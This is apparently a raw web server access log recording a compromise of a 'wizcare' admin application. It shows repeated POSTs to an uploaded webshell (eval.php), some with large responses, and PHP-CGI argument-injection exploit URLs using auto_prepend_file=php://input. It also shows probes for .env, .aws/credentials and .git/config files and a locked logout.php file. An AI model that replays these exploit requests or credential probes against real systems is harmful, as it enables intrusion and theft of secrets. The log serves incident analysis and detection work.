[01/Dec/2024:02:11:53 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "POST /wizcare/admin/upload/files/eval.php HTTP/1.1" 8336
[01/Dec/2024:02:12:17 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "POST /wizcare/admin/upload/files/eval.php HTTP/1.1" 212
[01/Dec/2024:02:12:21 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "POST /wizcare/admin/upload/files/eval.php HTTP/1.1" 1804
[01/Dec/2024:02:12:34 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "POST /wizcare/admin/upload/files/eval.php HTTP/1.1" 404
[01/Dec/2024:02:12:41 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "POST /wizcare/admin/upload/files/eval.php HTTP/1.1" 424
[01/Dec/2024:02:13:01 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "POST /wizcare/admin/upload/files/eval.php HTTP/1.1" 1488
[01/Dec/2024:02:14:00 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "POST /wizcare/admin/upload/files/eval.php HTTP/1.1" 84
[01/Dec/2024:02:14:04 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "POST /test.hello?%ADd+cgi.force_redirect%3d0+%ADd+cgi.redirect_status_env+%ADd+allow_url_include%3d1+%ADd+auto_prepend_file%3dphp://input HTTP/1.1" 305
[01/Dec/2024:02:14:09 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "POST /wizcare/admin/upload/files/eval.php HTTP/1.1" 84
[01/Dec/2024:02:14:23 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "POST /wizcare/admin/upload/files/eval.php HTTP/1.1" 980
[01/Dec/2024:02:14:32 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "POST /wizcare/admin/upload/files/eval.php HTTP/1.1" 380
[01/Dec/2024:02:14:54 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "POST /wizcare/admin/upload/files/eval.php HTTP/1.1" 180
[01/Dec/2024:02:14:59 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "POST /wizcare/admin/upload/files/eval.php HTTP/1.1" 8300
[01/Dec/2024:02:15:18 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "POST /wizcare/admin/upload/files/eval.php HTTP/1.1" 19616
[01/Dec/2024:02:15:20 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /wizcare/admin/ckeditor/skins/moono-lisa/images/arrow.png HTTP/1.1" 191
[01/Dec/2024:02:15:28 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "POST /wizcare/admin/upload/files/eval.php HTTP/1.1" 72
[01/Dec/2024:02:15:29 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "POST /wizcare/admin/upload/files/eval.php HTTP/1.1" 280640
[01/Dec/2024:02:15:33 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "POST /wizcare/admin/upload/files/eval.php HTTP/1.1" 250880
[01/Dec/2024:02:15:39 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "POST /wizcare/admin/upload/files/eval.php HTTP/1.1" 305716
[01/Dec/2024:02:15:44 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "POST /wizcare/admin/upload/files/eval.php HTTP/1.1" 192908
[01/Dec/2024:02:15:49 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "POST /wizcare/admin/upload/files/eval.php HTTP/1.1" 311732
[01/Dec/2024:02:15:54 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "POST /wizcare/admin/upload/files/eval.php HTTP/1.1" 264804
[01/Dec/2024:02:15:58 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "POST /wizcare/admin/upload/files/eval.php HTTP/1.1" 193780
[01/Dec/2024:02:16:02 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "POST /wizcare/admin/upload/files/eval.php HTTP/1.1" 213712
[01/Dec/2024:02:16:05 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "POST /wizcare/admin/upload/files/eval.php HTTP/1.1" 236152
[01/Dec/2024:02:16:10 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "POST /wizcare/admin/upload/files/eval.php HTTP/1.1" 246956
[01/Dec/2024:02:16:13 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "POST /wizcare/admin/upload/files/eval.php HTTP/1.1" 275256
[01/Dec/2024:02:16:20 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "POST /wizcare/admin/upload/files/eval.php HTTP/1.1" 271072
[01/Dec/2024:02:16:25 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "POST /wizcare/admin/upload/files/eval.php HTTP/1.1" 138736
[01/Dec/2024:02:17:00 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "POST /wizcare/admin/upload/files/eval.php HTTP/1.1" 64
[01/Dec/2024:02:17:06 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "POST /wizcare/admin/upload/files/eval.php HTTP/1.1" 64
[01/Dec/2024:02:19:47 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "POST /wizcare/admin/upload/files/eval.php HTTP/1.1" 64
[01/Dec/2024:02:19:51 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "POST /wizcare/admin/upload/files/eval.php HTTP/1.1" 948
[01/Dec/2024:02:20:08 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "POST /wizcare/admin/upload/files/eval.php HTTP/1.1" 1032
[01/Dec/2024:02:20:18 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "POST /wizcare/admin/upload/files/eval.php HTTP/1.1" 140
[01/Dec/2024:02:20:27 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "POST /wizcare/admin/upload/files/eval.php HTTP/1.1" 240
[01/Dec/2024:02:21:42 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "POST /wizcare/admin/upload/files/eval.php HTTP/1.1" 444
[01/Dec/2024:02:22:02 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "POST /wizcare/admin/upload/files/eval.php HTTP/1.1" 1836
[01/Dec/2024:02:22:53 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "POST /wizcare/admin/upload/files/eval.php HTTP/1.1" 64
[01/Dec/2024:02:23:07 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "POST /wizcare/admin/upload/files/eval.php HTTP/1.1" 64
[01/Dec/2024:02:23:26 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "POST /wizcare/admin/upload/files/eval.php HTTP/1.1" 64
[01/Dec/2024:02:23:41 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "POST /wizcare/admin/upload/files/eval.php HTTP/1.1" 64
[01/Dec/2024:02:23:58 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "POST /wizcare/admin/upload/files/eval.php HTTP/1.1" 64
[01/Dec/2024:02:24:09 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "POST /wizcare/admin/upload/files/eval.php HTTP/1.1" 64
[01/Dec/2024:02:24:21 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "POST /wizcare/admin/upload/files/eval.php HTTP/1.1" 64
[01/Dec/2024:02:24:54 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "POST /wizcare/admin/upload/files/eval.php HTTP/1.1" 976
[01/Dec/2024:02:24:59 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "POST /wizcare/admin/upload/files/eval.php HTTP/1.1" 948
[01/Dec/2024:02:25:18 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "POST /wizcare/admin/upload/files/eval.php HTTP/1.1" 2107612
[01/Dec/2024:02:26:28 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "POST /wizcare/admin/upload/files/eval.php HTTP/1.1" 4176
[01/Dec/2024:02:28:29 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "POST /php-cgi/php-cgi.exe?%ADd+cgi.force_redirect%3D0+%ADd+disable_functions%3D%22%22+%ADd+allow_url_include%3D1+%ADd+auto_prepend_file%3Dphp://input HTTP/1.1" 639
[01/Dec/2024:02:29:25 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "POST /wizcare/admin/upload/files/eval.php HTTP/1.1" 64
[01/Dec/2024:02:29:29 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "POST /wizcare/admin/upload/files/eval.php HTTP/1.1" 140
[01/Dec/2024:02:29:56 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "POST /wizcare/admin/upload/files/eval.php HTTP/1.1" 380
[01/Dec/2024:02:30:10 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "POST /wizcare/admin/upload/files/eval.php HTTP/1.1" 4780
[01/Dec/2024:02:30:19 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "POST /wizcare/admin/upload/files/eval.php HTTP/1.1" 948
[01/Dec/2024:02:30:31 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "POST /wizcare/admin/upload/files/eval.php HTTP/1.1" 4780
[01/Dec/2024:02:31:13 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "POST /wizcare/admin/upload/files/eval.php HTTP/1.1" 180
[01/Dec/2024:02:31:21 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "POST /wizcare/admin/upload/files/eval.php HTTP/1.1" 180
[01/Dec/2024:02:31:26 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "POST /wizcare/admin/upload/files/eval.php HTTP/1.1" 180
[01/Dec/2024:02:31:32 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "POST /wizcare/admin/upload/files/eval.php HTTP/1.1" -
[01/Dec/2024:02:31:33 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "POST /wizcare/admin/upload/files/eval.php HTTP/1.1" 64
[01/Dec/2024:02:31:35 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "POST /wizcare/admin/upload/files/eval.php HTTP/1.1" 1172
[01/Dec/2024:02:31:41 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "POST /wizcare/admin/upload/files/eval.php HTTP/1.1" 132
[01/Dec/2024:02:31:44 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "POST /wizcare/admin/upload/files/eval.php HTTP/1.1" 92
[01/Dec/2024:02:31:50 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "POST /wizcare/admin/upload/files/eval.php HTTP/1.1" 240
[01/Dec/2024:02:32:16 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "POST /wizcare/admin/upload/files/eval.php HTTP/1.1" 288
[01/Dec/2024:02:32:28 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "POST /wizcare/admin/upload/files/eval.php HTTP/1.1" 132
[01/Dec/2024:02:32:34 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "POST /wizcare/admin/upload/files/eval.php HTTP/1.1" 696
[01/Dec/2024:02:34:08 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "POST /test.hello?%ADd+cgi.force_redirect%3d0+%ADd+cgi.redirect_status_env+%ADd+allow_url_include%3d1+%ADd+auto_prepend_file%3dphp://input HTTP/1.1" 305
[01/Dec/2024:02:40:22 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "POST /php-cgi/php-cgi.exe?%ADd+cgi.force_redirect%3D0+%ADd+disable_functions%3D%22%22+%ADd+allow_url_include%3D1+%ADd+auto_prepend_file%3Dphp://input HTTP/1.1" 639
[01/Dec/2024:02:45:20 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /wizcare/admin/ckeditor/skins/moono-lisa/images/close.png HTTP/1.1" 615
[01/Dec/2024:02:51:23 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /health HTTP/1.1" 305
[01/Dec/2024:02:54:27 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "POST /test.hello?%ADd+cgi.force_redirect%3d0+%ADd+cgi.redirect_status_env+%ADd+allow_url_include%3d1+%ADd+auto_prepend_file%3dphp://input HTTP/1.1" 305
[01/Dec/2024:03:10:27 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /.env HTTP/1.1" 300
[01/Dec/2024:03:13:57 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "POST /test.hello?%ADd+cgi.force_redirect%3d0+%ADd+cgi.redirect_status_env+%ADd+allow_url_include%3d1+%ADd+auto_prepend_file%3dphp://input HTTP/1.1" 305
[01/Dec/2024:03:15:20 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /wizcare/admin/ckeditor/skins/moono-lisa/images/spinner.gif HTTP/1.1" 2984
[01/Dec/2024:03:25:50 +0800] 10.100.1.254 - - "GET / HTTP/1.0" 468
[01/Dec/2024:03:31:33 +0800] 10.100.1.254 - - "GET / HTTP/1.0" 468
[01/Dec/2024:03:33:32 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "POST /test.hello?%ADd+cgi.force_redirect%3d0+%ADd+cgi.redirect_status_env+%ADd+allow_url_include%3d1+%ADd+auto_prepend_file%3dphp://input HTTP/1.1" 305
[01/Dec/2024:03:48:52 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET / HTTP/1.1" 332
[01/Dec/2024:03:49:01 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET / HTTP/1.1" -
[01/Dec/2024:03:49:03 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /.env.docker HTTP/1.1" 300
[01/Dec/2024:03:49:03 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /.env.stage HTTP/1.1" 300
[01/Dec/2024:03:49:05 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /build/.env HTTP/1.1" 300
[01/Dec/2024:03:49:07 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /.env.test HTTP/1.1" 300
[01/Dec/2024:03:49:08 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /.env.tmp HTTP/1.1" 300
[01/Dec/2024:03:49:09 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /.aws/credentials HTTP/1.1" 300
[01/Dec/2024:03:49:11 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /.env.ci HTTP/1.1" 300
[01/Dec/2024:03:49:12 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /.env.qa HTTP/1.1" 300
[01/Dec/2024:03:49:13 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /.env.sandbox HTTP/1.1" 300
[01/Dec/2024:03:49:14 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /settings/.env HTTP/1.1" 300
[01/Dec/2024:03:49:15 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /.env.testing.local HTTP/1.1" 300
[01/Dec/2024:03:49:16 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /.env.preprod HTTP/1.1" 300
[01/Dec/2024:03:49:17 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /.env.prod.local HTTP/1.1" 300
[01/Dec/2024:03:49:19 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /.env.save HTTP/1.1" 300
[01/Dec/2024:03:49:20 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /.env.uat HTTP/1.1" 300
[01/Dec/2024:03:49:21 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /admin/.git/config HTTP/1.1" 300
[01/Dec/2024:03:49:22 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /docker-compose.prod.yml HTTP/1.1" 300
[01/Dec/2024:03:49:24 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /.env.secret HTTP/1.1" 300
[01/Dec/2024:03:49:25 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /app/.git/config HTTP/1.1" 300
[01/Dec/2024:03:49:26 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /dev/.git/config HTTP/1.1" 300
[01/Dec/2024:03:49:27 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /.env.bak HTTP/1.1" 300
[01/Dec/2024:03:50:50 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /health HTTP/1.1" 305
[01/Dec/2024:03:54:34 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "POST /test.hello?%ADd+cgi.force_redirect%3d0+%ADd+cgi.redirect_status_env+%ADd+allow_url_include%3d1+%ADd+auto_prepend_file%3dphp://input HTTP/1.1" 305
[01/Dec/2024:04:14:02 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "POST /test.hello?%ADd+cgi.force_redirect%3d0+%ADd+cgi.redirect_status_env+%ADd+allow_url_include%3d1+%ADd+auto_prepend_file%3dphp://input HTTP/1.1" 305
[01/Dec/2024:04:31:28 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "POST /php-cgi/php-cgi.exe?%ADd+cgi.force_redirect%3D0+%ADd+disable_functions%3D%22%22+%ADd+allow_url_include%3D1+%ADd+auto_prepend_file%3Dphp://input HTTP/1.1" 639
[01/Dec/2024:04:33:25 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "POST /test.hello?%ADd+cgi.force_redirect%3d0+%ADd+cgi.redirect_status_env+%ADd+allow_url_include%3d1+%ADd+auto_prepend_file%3dphp://input HTTP/1.1" 305
[01/Dec/2024:04:44:30 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "POST /php-cgi/php-cgi.exe?%ADd+cgi.force_redirect%3D0+%ADd+disable_functions%3D%22%22+%ADd+allow_url_include%3D1+%ADd+auto_prepend_file%3Dphp://input HTTP/1.1" 639
[01/Dec/2024:04:48:54 +0800] 10.100.1.254 - - "GET / HTTP/1.0" 468
[01/Dec/2024:04:51:31 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /health HTTP/1.1" 305
[01/Dec/2024:04:54:26 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "POST /test.hello?%ADd+cgi.force_redirect%3d0+%ADd+cgi.redirect_status_env+%ADd+allow_url_include%3d1+%ADd+auto_prepend_file%3dphp://input HTTP/1.1" 305
[01/Dec/2024:05:14:06 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "POST /test.hello?%ADd+cgi.force_redirect%3d0+%ADd+cgi.redirect_status_env+%ADd+allow_url_include%3d1+%ADd+auto_prepend_file%3dphp://input HTTP/1.1" 305
[01/Dec/2024:05:33:30 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "POST /test.hello?%ADd+cgi.force_redirect%3d0+%ADd+cgi.redirect_status_env+%ADd+allow_url_include%3d1+%ADd+auto_prepend_file%3dphp://input HTTP/1.1" 305
[01/Dec/2024:05:50:51 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /health HTTP/1.1" 305
[01/Dec/2024:05:54:26 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "POST /test.hello?%ADd+cgi.force_redirect%3d0+%ADd+cgi.redirect_status_env+%ADd+allow_url_include%3d1+%ADd+auto_prepend_file%3dphp://input HTTP/1.1" 305
[01/Dec/2024:06:14:19 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "POST /test.hello?%ADd+cgi.force_redirect%3d0+%ADd+cgi.redirect_status_env+%ADd+allow_url_include%3d1+%ADd+auto_prepend_file%3dphp://input HTTP/1.1" 305
[01/Dec/2024:06:28:49 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /wizcare/admin/logout.php.locked HTTP/1.1" -
[01/Dec/2024:06:28:51 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /home/ HTTP/1.1" 16
[01/Dec/2024:06:33:34 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "POST /test.hello?%ADd+cgi.force_redirect%3d0+%ADd+cgi.redirect_status_env+%ADd+allow_url_include%3d1+%ADd+auto_prepend_file%3dphp://input HTTP/1.1" 305
[01/Dec/2024:06:34:20 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "POST /php-cgi/php-cgi.exe?%ADd+cgi.force_redirect%3D0+%ADd+disable_functions%3D%22%22+%ADd+allow_url_include%3D1+%ADd+auto_prepend_file%3Dphp://input HTTP/1.1" 639
[01/Dec/2024:06:38:09 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /wizcare/admin/assets/easyui/themes/metro/images/panel_tools.png HTTP/1.1" 194
[01/Dec/2024:06:48:21 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "POST /php-cgi/php-cgi.exe?%ADd+cgi.force_redirect%3D0+%ADd+disable_functions%3D%22%22+%ADd+allow_url_include%3D1+%ADd+auto_prepend_file%3Dphp://input HTTP/1.1" 639
[01/Dec/2024:06:51:27 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /health HTTP/1.1" 305
[01/Dec/2024:06:53:50 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET / HTTP/1.1" -
[01/Dec/2024:06:54:04 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "POST /test.hello?%ADd+cgi.force_redirect%3d0+%ADd+cgi.redirect_status_env+%ADd+allow_url_include%3d1+%ADd+auto_prepend_file%3dphp://input HTTP/1.1" 305
[01/Dec/2024:07:14:23 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "POST /test.hello?%ADd+cgi.force_redirect%3d0+%ADd+cgi.redirect_status_env+%ADd+allow_url_include%3d1+%ADd+auto_prepend_file%3dphp://input HTTP/1.1" 305
[01/Dec/2024:07:23:09 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /wizcare/admin/upload/images/dept8-1.jpg HTTP/1.1" 162270
[01/Dec/2024:07:33:31 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "POST /test.hello?%ADd+cgi.force_redirect%3d0+%ADd+cgi.redirect_status_env+%ADd+allow_url_include%3d1+%ADd+auto_prepend_file%3dphp://input HTTP/1.1" 305
[01/Dec/2024:07:50:53 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /health HTTP/1.1" 305
[01/Dec/2024:07:53:09 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /wizcare/admin/test/uploads/ba8780a819454adcca5146d959f78c4b.php.jpg HTTP/1.1" 674
[01/Dec/2024:07:54:17 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "POST /test.hello?%ADd+cgi.force_redirect%3d0+%ADd+cgi.redirect_status_env+%ADd+allow_url_include%3d1+%ADd+auto_prepend_file%3dphp://input HTTP/1.1" 305
[01/Dec/2024:08:14:12 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "POST /test.hello?%ADd+cgi.force_redirect%3d0+%ADd+cgi.redirect_status_env+%ADd+allow_url_include%3d1+%ADd+auto_prepend_file%3dphp://input HTTP/1.1" 305
[01/Dec/2024:08:23:09 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /wizcare/admin/ckeditor/skins/moono/images/arrow.png HTTP/1.1" 191
[01/Dec/2024:08:25:05 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /robots.txt HTTP/1.1" -
[01/Dec/2024:08:25:06 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /home/ HTTP/1.1" 16
[01/Dec/2024:08:25:07 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /dashboard/docs/increase-php-file-upload-limit.html HTTP/1.1" 305
[01/Dec/2024:08:33:38 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "POST /test.hello?%ADd+cgi.force_redirect%3d0+%ADd+cgi.redirect_status_env+%ADd+allow_url_include%3d1+%ADd+auto_prepend_file%3dphp://input HTTP/1.1" 305
[01/Dec/2024:08:37:05 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "POST /php-cgi/php-cgi.exe?%ADd+cgi.force_redirect%3D0+%ADd+disable_functions%3D%22%22+%ADd+allow_url_include%3D1+%ADd+auto_prepend_file%3Dphp://input HTTP/1.1" 639
[01/Dec/2024:08:45:44 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /wizcare/admin/assets/easyui/themes/black/images/tree_icons.png HTTP/1.1" 3086
[01/Dec/2024:08:51:21 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /health HTTP/1.1" 305
[01/Dec/2024:08:53:06 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "POST /php-cgi/php-cgi.exe?%ADd+cgi.force_redirect%3D0+%ADd+disable_functions%3D%22%22+%ADd+allow_url_include%3D1+%ADd+auto_prepend_file%3Dphp://input HTTP/1.1" 639
[01/Dec/2024:08:53:09 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /wizcare/admin/ckeditor/plugins/wsc/icons/hidpi/spellchecker.png HTTP/1.1" 2816
[01/Dec/2024:08:54:15 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "POST /test.hello?%ADd+cgi.force_redirect%3d0+%ADd+cgi.redirect_status_env+%ADd+allow_url_include%3d1+%ADd+auto_prepend_file%3dphp://input HTTP/1.1" 305
[01/Dec/2024:09:14:19 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "POST /test.hello?%ADd+cgi.force_redirect%3d0+%ADd+cgi.redirect_status_env+%ADd+allow_url_include%3d1+%ADd+auto_prepend_file%3dphp://input HTTP/1.1" 305
[01/Dec/2024:09:15:44 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /wizcare/admin/ckeditor/plugins/copyformatting/cursors/cursor-disabled.svg HTTP/1.1" 4012
[01/Dec/2024:09:27:09 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /wizcare/admin/upload/images/4f3.png HTTP/1.1" 67320
[01/Dec/2024:09:33:57 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "POST /test.hello?%ADd+cgi.force_redirect%3d0+%ADd+cgi.redirect_status_env+%ADd+allow_url_include%3d1+%ADd+auto_prepend_file%3dphp://input HTTP/1.1" 305
[01/Dec/2024:09:39:14 +0800] 10.100.1.254 - - "GET / HTTP/1.0" 468
[01/Dec/2024:09:45:07 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "SSTP_DUPLEX_POST /sra_{BA195980-CD49-458b-9E23-C84EE0ADCD75}/ HTTP/1.1" 332
[01/Dec/2024:09:45:44 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /wizcare/admin/assets/easyui/themes/bootstrap/images/accordion_arrows.png HTTP/1.1" 184
[01/Dec/2024:09:50:51 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /health HTTP/1.1" 305
[01/Dec/2024:09:54:37 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "POST /test.hello?%ADd+cgi.force_redirect%3d0+%ADd+cgi.redirect_status_env+%ADd+allow_url_include%3d1+%ADd+auto_prepend_file%3dphp://input HTTP/1.1" 305
